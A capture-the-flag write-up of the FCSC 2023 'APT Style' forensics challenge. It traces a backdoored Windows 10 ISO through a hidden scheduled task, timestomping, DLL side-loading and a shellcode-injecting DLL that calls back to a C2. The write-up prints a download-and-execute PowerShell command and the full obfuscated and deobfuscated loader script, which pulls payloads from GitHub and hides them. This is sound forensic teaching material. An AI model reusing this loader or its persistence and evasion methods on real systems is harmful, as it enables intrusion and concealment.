Contents

FCSC2023 - APT Style

This following challenge of the FCSC was divided into 7 parts. It was not the hardest but a very cool one. We had to find a persistence mechanism within a Windows installation ISO. Then, deobfuscating a PowerShell script, retrieving a binary that was no longer available on GitHub, and reversing it to find C2 connection information.

As a CISO, you anticipate late the migration of the user workstations in your fleet to Windows 10. To do so, you ask one of your colleagues to prepare an installation ISO, and due to the critical importance of the safety of this installation medium, you decide to test it. You notice strange behaviors on the newly installed machine… You then decide to dissect this ISO to understand where these behaviors are coming from.

SHA256(Win10_22H2_French_x64.iso) = 6b308977cecc9b6d8aa50a8ddabdacdf01394b0819d5978141ed61862c61143f.

APT Style 1/7

Description

What object triggers the malicious behavior? The expected answer is the object’s path.

What group of attackers employs a similar method? The expected format is UNCXXXX.

The final flag is in the format FCSC{<path>:UNCXXXX}

Resolution

First, instead of installing the ISO, we will mount it with WinCDEmu.

/APT-Style/e99d468d31a8994a77a8c7ae00ebdb3b.png

To determine which files have been modified on the ISO, we will use Hasher, to calculate a hash for each file present on the mounted disk.

/APT-Style/01482afeb30f0dd33876eced4d28d1a3.png

We found sites online that allow us to download ISOs of the same version as our ISO by searching for the name of our ISO, which contains the version. To ensure that we have a version provided by Windows, we can check the hash of the file. Then, we mount the ISO in the same way as before and use Hasher to calculate the hashes.

Next, we will compare the hashes present on the two disks. We notice that the only different file is install.wim. This file is a Windows deployment image file that is used to store a complete image of a Windows installation.

1
2
3
4
5
6
7
8
$ sed 's/E:\\/D:\\/g' 2023-04-21-141829-HasherResults.txt | sort -o 2023-04-21-141829-HasherResults.txt
$ sort -o 2023-04-21-141825-HasherResults.txt 2023-04-21-141825-HasherResults.txt
$ diff 2023-04-21-141825-HasherResults.txt 2023-04-21-141829-HasherResults.txt
> D:\boot.catalog   3I42H3S6NNFQ2MSVX7XZKYAYSCX5QBYJ        D41D8CD98F00B204E9800998ECF8427E
350c351
< D:\sources\install.wim    PZHGJDKW5LBSD7TFBIJIJN2GHYMLSONE        3E1586F5D3BBB00F9B089477F2E773B9
---
> D:\sources\install.wim    A63PJOYQ6ESPAHP6HII6SMZOKHCPXVTK        FFBCBB557F97820D33A225B64B6E4051

It is possible to mount this type of file with dism (Deployment Image Servicing and Management). We directly launch KAPE to save time on the extraction and parsing of IOCs.

1
2
3
PS > dism /Mount-WIM /ReadOnly /WimFile:D:\sources\install.wim /index:1 /MountDir:C:\Temp

PS > .\kape.exe --tsource C:\temp --tdest Y:\FCSC\extract --tflush --target WinDefendDetectionHist,MicrosoftOneNote,MicrosoftStickyNotes,MicrosoftTeams,MicrosoftToDo,Notepad++,BrowserCache,ChromeExtensions,Antivirus,CombinedLogs,EvidenceOfExecution,Exchange,FileSystem,RecycleBin,RegistryHives,SQLiteDatabases,WebBrowsers,IISLogFiles,MSSQLErrorLog,BITS,GroupPolicy,LNKFilesAndJumpLists,MemoryFiles,OfficeAutosave,OfficeDiagnostics,RDPCache,RDPLogs,ScheduledTasks,SDB,SnipAndSketch,SRUM,StartupFolders,StartupInfo,SUM,ThumbCache,WBEM,WER,WindowsIndexSearch,WindowsNotificationsDB,WindowsTimeline --mdest Y:\FCSC\result --mflush --module BitsParser,CCMRUAFinder_RecentlyUsedApps,Chainsaw,DHParser,hayabusa_OfflineEventLogs,PowerShell_Get-DoSvc4n6,PowerShell_MFTECmd_J-MFTParsing,PowerShell_Move-KAPEConsoleHost_history,ThumbCacheViewer,WMI-Parser,!EZParser,LogParser,MFTECmd,RECmd_AllBatchFiles,RegRipper --gui

Now that we have retrieved and parsed the artifacts, we can look for the answers to the question. In the statement, we are talking about a path without giving an example of a path on the disk as a flag format. If we have already done some forensic CTFs, we can easily guess that it will be a registry key.

If the statement, had been about a file on disk, a quick win could be to look at the last modified files.

1
PS > Dir C:\temp -r | ? {! $_.PSIsContainer} | sort LastWriteTime | select -last 10

We use Registry Explorer from Eric Zimmerman, to look at the last modified registry keys in the SOFTWARE and SYSTEM hives, which are often used for persistence on the system and not tied to a specific user. The only keys modified after September 8th are Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Speech\SpeechModelDownloadTask and Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{4D595DA6-BC59-47AE-A527-EC01FCE2E615}. These two objects correspond to a scheduled task.

/APT-Style/92687ac8dcc8ab9fbf64f0ea516c551d.png

Going to the second key, we get the launch path of the task \Microsoft\Windows\Speech\SpeechModelDownloadTask.

/APT-Style/3e2c95c765355e5deaf8d5e1cf6d520e.png

Finally, to find the attacker group, searching for windows installer backdoor APT leads directly to the Mandiant article on the UNC4166 group, which also uses schedule tasks as a backdoor in Windows installers.

Flag

FCSC{\Microsoft\Windows\Speech\SpeechModelDownloadTask:UNC4166}

APT Style 2/7

Description

What element was removed to hide this malicious behavior from Windows? The expected answer is the path of the removed element.

What group of attackers employs a similar method? The expected answer is the name of the group.

The flag is in the format FCSC{<path>:<group name>}.

Resolution

To answer this question, we searched for hide schedule task windows and quickly found an article by Qualys that indicates it is possible to make a task “invisible” by deleting the SD key in HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\<TASK_NAME>. It also mentions that the group HAFNIUM uses this technique.

We can confirm this lead by going to HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Speech\SpeechModelDownloadTask where the SD key is not present.

/APT-Style/64565ad63d5927b11372f4cd44a009c6.png

Furthermore, we can find the key and its content in the deleted keys.

/APT-Style/2a2841f46cbd4970d68361ff41509480.png

Flag

FCSC{\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Speech\SpeechModelDownloadTask\SD:HAFNIUM}

APT Style 3/7

Description

What file is used as the base for timestomping the malicious files? The expected answer is the full path of the file in the format : FCSC{<path>}.

Resolution

To retrieve the filename used for timestomping, we first need to get the content of the scheduled task in HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{4D595DA6-BC59-47AE-A527-EC01FCE2E615}\Actions

1
powershell.exe -WindowStyle Hidden -noprofile -noninteractive -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/witnessstrong/OneDriveUpdater/main/OneDriveUpdater.ps1') -UseBasicParsing|iex"

The scheduled task downloads a script OneDriveUpdater.ps1 (below) from Github and executes it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
if (&("{2}{0}{1}" -f'e','st-Path','T') -Path ((("{17}{11}{6}{8}{19}{14}{2}{16}{20}{21}{13}{15}{3}{7}{12}{18}{5}{4}{1}{0}{9}{10}" -f 'er.','pdat','osof','O','eU','on','am File','neDr','s','ex','e','gr','ive','Updat','icr','erHcn','t','C:HcnPro','Standal','HcnM','HcnOneDriv','e'))."R`EPlace"(([ChAR]72+[ChAR]99+[ChAR]110),[STring][ChAR]92))) {
    & ((("{7}{3}{14}{1}{0}{8}{11}{5}{12}{4}{6}{2}{13}{9}{10}"-f'm Files{0}Micro','rogra','dater{','0}','i','neD','veUp','C:{','soft{0','neDriveSt','andaloneUpdater.exe','}O','r','0}O','P'))  -f  [CHAr]92)
} else {
          ${Z`F6}::"secU`RiTypr`OToC`OL" =  ${Z`F6}::"SECurit`ypro`T`OCol" -bor 3072; &("{0}{1}"-f 'ie','x') ((&("{1}{0}{2}"-f 'ew-Obj','N','ect') ("{0}{5}{4}{2}{3}{1}"-f'Sy','t','m.Net.W','ebClien','e','st')).("{3}{1}{0}{2}"-f'rin','oadSt','g','Downl').Invoke(("{9}{11}{8}{4}{14}{0}{13}{17}{7}{10}{1}{6}{15}{3}{19}{12}{18}{2}{16}{5}" -f 'wit','eUp','nstall.','w/m','/','s1','dater','ne','/','https','Driv',':','in','nessstrong','github.com/','/ra','p','/O','/i','a'))) | .("{2}{0}{1}"-f'Nu','ll','Out-');
    &("{1}{0}"-f'w-Item','Ne') -ItemType ("{0}{2}{1}" -f 'Dir','ory','ect') -Force -Path ((("{8}{2}{3}{1}{6}{7}{4}{5}{0}" -f 'r','Mi','X8Program Fi','leslX8','lX8OneDriveU','pdate','cro','soft','C:l')).("{1}{0}" -f'Ace','REpl').Invoke('lX8','\')) | &("{1}{0}"-f'Null','Out-');
    (.("{1}{2}{0}"-f'ject','N','ew-Ob') ("{1}{2}{3}{0}"-f 'nt','N','et.WebC','lie')).("{1}{0}{2}" -f 'Fil','Download','e').Invoke(("{21}{5}{16}{14}{17}{20}{2}{12}{11}{15}{24}{13}{7}{3}{8}{10}{18}{22}{1}{9}{19}{0}{6}{23}{4}" -f'aloneU','eDriv','ub.','Up','e','ttps','pdate','eDrive','dater/r','eStan','aw/mai','witnes','com/','n','/g','sstrong/',':/','it','n/','d','h','h','On','r.ex','O'),((("{5}{9}{17}{0}{11}{4}{1}{12}{3}{10}{6}{14}{7}{13}{15}{16}{18}{2}{8}"-f 'ogra','ob3','r.e','cr',' Files','C:','b3O','b3','xe','ob3P','osofto','m','Mi','O','neDriveUpdatero','neDriv','eSt','r','andaloneUpdate'))-REplACE'ob3',[char]92));
    (&("{1}{3}{0}{2}"-f'Objec','N','t','ew-') ("{0}{4}{3}{1}{2}" -f'Ne','Cli','ent','b','t.We')).("{1}{2}{0}" -f'dFile','Down','loa').Invoke(("{13}{1}{8}{6}{9}{12}{0}{4}{2}{7}{3}{5}{11}{10}" -f'on','tp','/On','DriveUpdater/ra','g','w/mai','thub.com/w','e','s://gi','itn','/version.dll','n','essstr','ht'),((("{2}{11}{8}{14}{7}{4}{9}{13}{0}{5}{15}{12}{1}{6}{3}{10}" -f 'oft','Updater5','C:5f','v','ram Fil','5f','fD','g','r','es5fDMi','ersion.dll','DP','ive','cros','o','DOneDr'))."r`Epl`Ace"(([cHAR]53+[cHAR]102+[cHAR]68),'\')));
    (&("{2}{3}{0}{1}" -f'bjec','t','Ne','w-O') ("{2}{3}{1}{0}" -f 'nt','e','Ne','t.WebCli')).("{2}{0}{1}" -f 'wnloa','dFile','Do').Invoke(("{8}{1}{10}{9}{7}{12}{11}{3}{14}{4}{13}{0}{2}{5}{6}"-f 'main/','hub.','v','essstrong/OneDriveUpdate','/raw','ersl','on.dll','m/wi','https://git','o','c','n','t','/','r'),((("{12}{6}{8}{1}{2}{5}{0}{3}{11}{4}{10}{9}{7}"-f 'osoftIgdO','am',' Files','n','UpdaterIgdverslo','IgdMicr','o','l','gr','l','n.d','eDrive','C:IgdPr')).("{1}{2}{0}"-f 'cE','REPl','A').Invoke('Igd','\')));


    ${t`s} = &("{1}{2}{0}" -f'tem','Get','-I') ((("{3}{4}{5}{1}{0}{2}"-f 'in','dows{0}w','.ini','C:{','0','}Win'))-F [cHAr]92) | .("{1}{0}" -f'oreach','F') {${_}."l`Astwr`iTetIMe"};
    ${F`ILEs}= @(((("{11}{2}{16}{3}{1}{5}{20}{13}{7}{12}{17}{23}{14}{18}{19}{10}{6}{15}{8}{22}{9}{4}{0}{21}" -f 'er','MicrosoftwG','am ','Gi','at','iOne','iveSta','Upd','d','neUpd','r','C:wGiProgr','ate','ive','O','n','Filesw','rwG','ne','D','Dr','.exe','alo','i'))  -CRePLACe  ([cHAr]119+[cHAr]71+[cHAr]105),[cHAr]92), ((("{5}{1}{9}{13}{3}{6}{15}{14}{8}{0}{10}{2}{4}{11}{12}{7}" -f 'tq',':qXGPro','e','Micr','U','C','o','n.dll','f','gram F','XGOneDriv','pdaterq','XGversio','ilesqXG','o','s'))-cRePlaCe([cHar]113+[cHar]88+[cHar]71),[cHar]92), ((("{14}{11}{5}{13}{8}{10}{6}{12}{4}{9}{3}{0}{1}{2}{7}" -f 'UpdaterLX','nv','ers','ve','LXnOn','am ','Microsof','lon.dll','s','eDri','LXn','XnProgr','t','File','C:L')) -cRePLaCe'LXn',[CHAR]92), ((("{2}{3}{1}{7}{0}{8}{6}{5}{4}" -f'0Micros','m Fil','C:a','Y0Progra','pdater','0OneDriveU','taY','esaY','of')).("{0}{2}{1}" -f 'r','PLacE','e').Invoke('aY0','\')), ((("{4}{2}{1}{0}{3}"-f'}Microso','s{0','File','ft{0}','C:{0}Program '))  -f[chAR]92));
    ${fi`l`ES}.("{0}{1}" -f 'F','orEach')({
        ${fi`lE} = .('gi') ${_};
        ${f`iLE}."lASTWr`it`EtIMe"=${t`S};
        ${f`ilE}."La`stACCES`StI`me"=${t`S};
        ${fI`Le}."C`ReA`Tion`TIME"=${Ts};
    })
    &("{1}{0}"-f 'ib','attr') ('+s') ('+h') ((("{8}{0}{3}{7}{5}{4}{2}{1}{6}{9}" -f'{0','OneDriveUpdater{','iles{0}Microsoft{0}','}',' F','ogram','0','Pr','C:','}version.dll'))  -F  [chAr]92) ('/S') ('/D') ('/L');
    & ((("{4}{10}{1}{11}{13}{6}{0}{8}{12}{7}{14}{9}{2}{5}{3}" -f'p','ilesC','e','e','C:','r.ex','tCgpOneDriveU','n','daterCg','pdat','CgpProgram F','gpMicros','pO','of','eDriveStandaloneU'))-crePLAcE ([chaR]67+[chaR]103+[chaR]112),[chaR]92);
}

We can copy all the parts with reordering (without potentially dangerous Invoke) and look for the corresponding string:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
((("{17}{11}{6}{8}{19}{14}{2}{16}{20}{21}{13}{15}{3}{7}{12}{18}{5}{4}{1}{0}{9}{10}" -f 'er.','pdat','osof','O','eU','on','am File','neDr','s','ex','e','gr','ive','Updat','icr','erHcn','t','C:HcnPro','Standal','HcnM','HcnOneDriv','e'))."R`EPlace"(([ChAR]72+[ChAR]99+[ChAR]110),[STring][ChAR]92))
((("{7}{3}{14}{1}{0}{8}{11}{5}{12}{4}{6}{2}{13}{9}{10}"-f'm Files{0}Micro','rogra','dater{','0}','i','neD','veUp','C:{','soft{0','neDriveSt','andaloneUpdater.exe','}O','r','0}O','P'))  -f  [CHAr]92)
("{9}{11}{8}{4}{14}{0}{13}{17}{7}{10}{1}{6}{15}{3}{19}{12}{18}{2}{16}{5}" -f 'wit','eUp','nstall.','w/m','/','s1','dater','ne','/','https','Driv',':','in','nessstrong','github.com/','/ra','p','/O','/i','a')
((("{8}{2}{3}{1}{6}{7}{4}{5}{0}" -f 'r','Mi','X8Program Fi','leslX8','lX8OneDriveU','pdate','cro','soft','C:l')).("{1}{0}" -f'Ace','REpl').Invoke('lX8','\'))
("{21}{5}{16}{14}{17}{20}{2}{12}{11}{15}{24}{13}{7}{3}{8}{10}{18}{22}{1}{9}{19}{0}{6}{23}{4}" -f'aloneU','eDriv','ub.','Up','e','ttps','pdate','eDrive','dater/r','eStan','aw/mai','witnes','com/','n','/g','sstrong/',':/','it','n/','d','h','h','On','r.ex','O'),((("{5}{9}{17}{0}{11}{4}{1}{12}{3}{10}{6}{14}{7}{13}{15}{16}{18}{2}{8}"-f 'ogra','ob3','r.e','cr',' Files','C:','b3O','b3','xe','ob3P','osofto','m','Mi','O','neDriveUpdatero','neDriv','eSt','r','andaloneUpdate'))-REplACE'ob3',[char]92)
("{13}{1}{8}{6}{9}{12}{0}{4}{2}{7}{3}{5}{11}{10}" -f'on','tp','/On','DriveUpdater/ra','g','w/mai','thub.com/w','e','s://gi','itn','/version.dll','n','essstr','ht'),((("{2}{11}{8}{14}{7}{4}{9}{13}{0}{5}{15}{12}{1}{6}{3}{10}" -f 'oft','Updater5','C:5f','v','ram Fil','5f','fD','g','r','es5fDMi','ersion.dll','DP','ive','cros','o','DOneDr'))."r`Epl`Ace"(([cHAR]53+[cHAR]102+[cHAR]68),'\'))
("{8}{1}{10}{9}{7}{12}{11}{3}{14}{4}{13}{0}{2}{5}{6}"-f 'main/','hub.','v','essstrong/OneDriveUpdate','/raw','ersl','on.dll','m/wi','https://git','o','c','n','t','/','r'),((("{12}{6}{8}{1}{2}{5}{0}{3}{11}{4}{10}{9}{7}"-f 'osoftIgdO','am',' Files','n','UpdaterIgdverslo','IgdMicr','o','l','gr','l','n.d','eDrive','C:IgdPr')).("{1}{2}{0}"-f 'cE','REPl','A').Invoke('Igd','\'))
((("{3}{4}{5}{1}{0}{2}"-f 'in','dows{0}w','.ini','C:{','0','}Win'))-F [cHAr]92)
(((("{11}{2}{16}{3}{1}{5}{20}{13}{7}{12}{17}{23}{14}{18}{19}{10}{6}{15}{8}{22}{9}{4}{0}{21}" -f 'er','MicrosoftwG','am ','Gi','at','iOne','iveSta','Upd','d','neUpd','r','C:wGiProgr','ate','ive','O','n','Filesw','rwG','ne','D','Dr','.exe','alo','i'))  -CRePLACe  ([cHAr]119+[cHAr]71+[cHAr]105),[cHAr]92), ((("{5}{1}{9}{13}{3}{6}{15}{14}{8}{0}{10}{2}{4}{11}{12}{7}" -f 'tq',':qXGPro','e','Micr','U','C','o','n.dll','f','gram F','XGOneDriv','pdaterq','XGversio','ilesqXG','o','s'))-cRePlaCe([cHar]113+[cHar]88+[cHar]71),[cHar]92), ((("{14}{11}{5}{13}{8}{10}{6}{12}{4}{9}{3}{0}{1}{2}{7}" -f 'UpdaterLX','nv','ers','ve','LXnOn','am ','Microsof','lon.dll','s','eDri','LXn','XnProgr','t','File','C:L')) -cRePLaCe'LXn',[CHAR]92), ((("{2}{3}{1}{7}{0}{8}{6}{5}{4}" -f'0Micros','m Fil','C:a','Y0Progra','pdater','0OneDriveU','taY','esaY','of')).("{0}{2}{1}" -f 'r','PLacE','e').Invoke('aY0','\')), ((("{4}{2}{1}{0}{3}"-f'}Microso','s{0','File','ft{0}','C:{0}Program '))  -f[chAR]92))
((("{8}{0}{3}{7}{5}{4}{2}{1}{6}{9}" -f'{0','OneDriveUpdater{','iles{0}Microsoft{0}','}',' F','ogram','0','Pr','C:','}version.dll'))  -F  [chAr]92)
((("{4}{10}{1}{11}{13}{6}{0}{8}{12}{7}{14}{9}{2}{5}{3}" -f'p','ilesC','e','e','C:','r.ex','tCgpOneDriveU','n','daterCg','pdat','CgpProgram F','gpMicros','pO','of','eDriveStandaloneU'))-crePLAcE ([chaR]67+[chaR]103+[chaR]112),[chaR]92);
C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe
C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe
https://github.com/witnessstrong/OneDriveUpdater/raw/main/install.ps1
C:\Program Files\Microsoft\OneDriveUpdater
https://github.com/witnessstrong/OneDriveUpdater/raw/main/OneDriveStandaloneUpdater.exe
C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe
https://github.com/witnessstrong/OneDriveUpdater/raw/main/version.dll
C:\Program Files\Microsoft\OneDriveUpdater\version.dll
https://github.com/witnessstrong/OneDriveUpdater/raw/main/verslon.dll
C:\Program Files\Microsoft\OneDriveUpdater\verslon.dll
C:\Windows\win.ini
C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe
C:\Program Files\Microsoft\OneDriveUpdater\version.dll
C:\Program Files\Microsoft\OneDriveUpdater\verslon.dll
C:\Program Files\Microsoft\OneDriveUpdater
C:\Program Files\Microsoft\
C:\Program Files\Microsoft\OneDriveUpdater\version.dll
C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe

We modify the script accordingly to the output.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (TestPath -Path "C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe" {
    C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe
} else {
    ${ZF6}::SecurityProtocol =  ${ZF6}::SecurityProtocol -bor 3072;
    IeX ((New-Object Net.WebClient).DownloadFile.Invoke("https://github.com/witnessstrong/OneDriveUpdater/raw/main/install.ps1")) | Out-Null
    New-Object -ItemType Directory -Force -Path "C:\Program Files\Microsoft\OneDriveUpdater" | Out-Null;
    (New-Object Net.WebClient).DownloadFile.Invoke("https://github.com/witnessstrong/OneDriveUpdater/raw/main/OneDriveStandaloneUpdater.exe","C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe");
    (New-Object Net.WebClient).DownloadFile.Invoke("https://github.com/witnessstrong/OneDriveUpdater/raw/main/version.dll","C:\Program Files\Microsoft\OneDriveUpdater\version.dll");
    (New-Object Net.WebClient).DownloadFile.Invoke("https://github.com/witnessstrong/OneDriveUpdater/raw/main/verslon.dll","C:\Program Files\Microsoft\OneDriveUpdater\verslon.dll");


    ${ts} = Get-Item "C:\Windows\win.ini" | ForEach {${_}."LastWriteTime"};
    ${files}= @("C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe",
                "C:\Program Files\Microsoft\OneDriveUpdater\version.dll",
                "C:\Program Files\Microsoft\OneDriveUpdater\verslon.dll",
                "C:\Program Files\Microsoft\OneDriveUpdater",
                "C:\Program Files\Microsoft\");
    ${files}.ForEach({
        ${file} = .('gi') ${_};
        ${file}."LastWriteTime"=${ts};
        ${file}."LastAccessTime"=${ts};
        ${file}."CreationTime"=${ts};
    })
    attr +s +h "C:\Program Files\Microsoft\OneDriveUpdater\version.dll" /S /D /L;
    C:\Program Files\Microsoft\OneDriveUpdater\OneDriveStandaloneUpdater.exe;
}

The script will modify the timestamp on the folders and files in the files variable using the values from C:\Windows\win.ini for the timestomping.

Flag

FCSC{C:\Windows\win.ini}

APT Style 4/7

Description

What technique is used by the attacker to execute the malicious payload? The expected answer is the complete ID of the technique in the MITRE ATT&CK matrix format: FCSC{TXXXX.XXX}.

Resolution

To identify the technique used to run the payload, we refer to the MITRE Hijacking, since it involves DLL hijacking. In particular, we find the DLL Search Order Hijacking technique used here because we place our DLL in the same folder as the executable, which first searches for the DLL to load in memory in the same path as itself

However, in my opinion, the correct answer should have been T1574.002 (see below). Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

Flag

FCSC{T1574.001}

APT Style 5/7

Description

Note: It appears that the attacker has removed the malicious DLL from their online directory… The administrator who observed the malicious behavior installed it on 15/03/2023.

What is the serial number of the certificate used to sign the malicious DLL? The expected answer is in the format FCSC{<serial number>}.

Resolution

To find the malicious DLL that has been deleted, we go to the Github repository to potentially find traces of the file in the commits. However, in this case, there is only one commit.

/APT-Style/bfbb92585f1f6b4387352e674ed8708f.png

Using web.archive.org, we found a snapshot from March 15th with different commit dates than in the current repository.

/APT-Style/2a7b02caadfb72e9d4a6cd37015e34c5.png

According to the previously viewed PowerShell script, the malicious DLL is version.dll. It can be verified by calculating the hash of the other DLL and checking the signatures on VirusTotal.

Finally, to retrieve the serial number of the certificate, the following command is performed:

1
Get-AuthenticodeSignature -FilePath "version.dll" | Select-Object -ExpandProperty SignerCertificate | Select-Object -ExpandProperty SerialNumber

Flag

FCSC{43BB437D609866286DD839E1D00309F5}

APT Style 6/7

Description

Note: It appears that the attacker has removed the malicious DLL from their online directory… The administrator who observed the malicious behavior installed it on 15/03/2023.

Which machine is targeted by the malicious payload? The expected answer is the machine name in the format FCSC{<name>}.

Resolution

By opening the DLL in IDA, we can find the name of the targeted machine. Alternatively, using strings also works well.

/APT-Style/adecfc12cf9924d4955a3ef34e6eac93.png

Flag

FCSC{DESKTOP-3BY599R}

APT Style 7/7

Description

Note: It appears that the attacker has removed the malicious DLL from their online directory… The administrator who observed the malicious behavior installed it on 15/03/2023.

Which C2 is contacted by the malicious payload? The flag is in the format FCSC{IP:PORT}.

Resolution

The easiest way to solve this challenge is to take a snapshot of a VM, rename it toDESKTOP-3BY599R (don’t forget to disconnect it from the Internet just in case), and launch Wireshark. Then, in a folder that must include version.dll and verslon.dll, run OneDriveStandaloneUpdater.exe.

The legitimate DLL verslon.dll is necessary because by looking at the exports table we can see that the DLL acts as a proxy. /APT-Style/67dea4e0c14fad68c52277fb48facf6b.png

We observe the traffic in Wireshark, which allows us to obtain the IP and port.

/APT-Style/3e09fa89a5f4e1b01cab6effa65496a7.png

The other way to do it is to reverse engineer the application.

At the start of the DLL, the program first calls the GetModuleHandleA function to obtain a handle to the ntdll.dll module. It then calls GetProcAddress several times to obtain pointers to various functions defined in ntdll.dll, including ZwOpenProcess, wCreateSection, NtMapViewOfSection, ZwCreateThreadEx, NtDelayExecution, and ZwClose.

/APT-Style/6ac08efac345133499858ec143b746f2.png

Next, the program creates a snapshot of the running processes on the system using the CreateToolhelp32Snapshot function. It then iterates through the list of processes using the Process32First and Process32Next functions. For each process, it checks if the process executable file name matches RuntimeBroker.exe. If it does, it opens a handle to the process using ZwOpenProcess.

/APT-Style/575940fccbd5af25e61f529de1a517ab.png

Then, there is an XOR operation between the key nljM8AUq0Bb4LU9L7BhfrycmTwum and the shellcode that will be executed.

Optimization seems to give trouble to IDA which does not detect the correct variable associated with the shellcode buffer.

/APT-Style/91dac632eb23da175f487586e7c89c8c.png

We use CyberChef to decrypt the shellcode.

By opening it in IDA, we obtain the IP and port of the C2.

/APT-Style/d61cfd360f0a4d2c3d48da947d3d8204.png

Flag

FCSC{192.168.56.1:1337}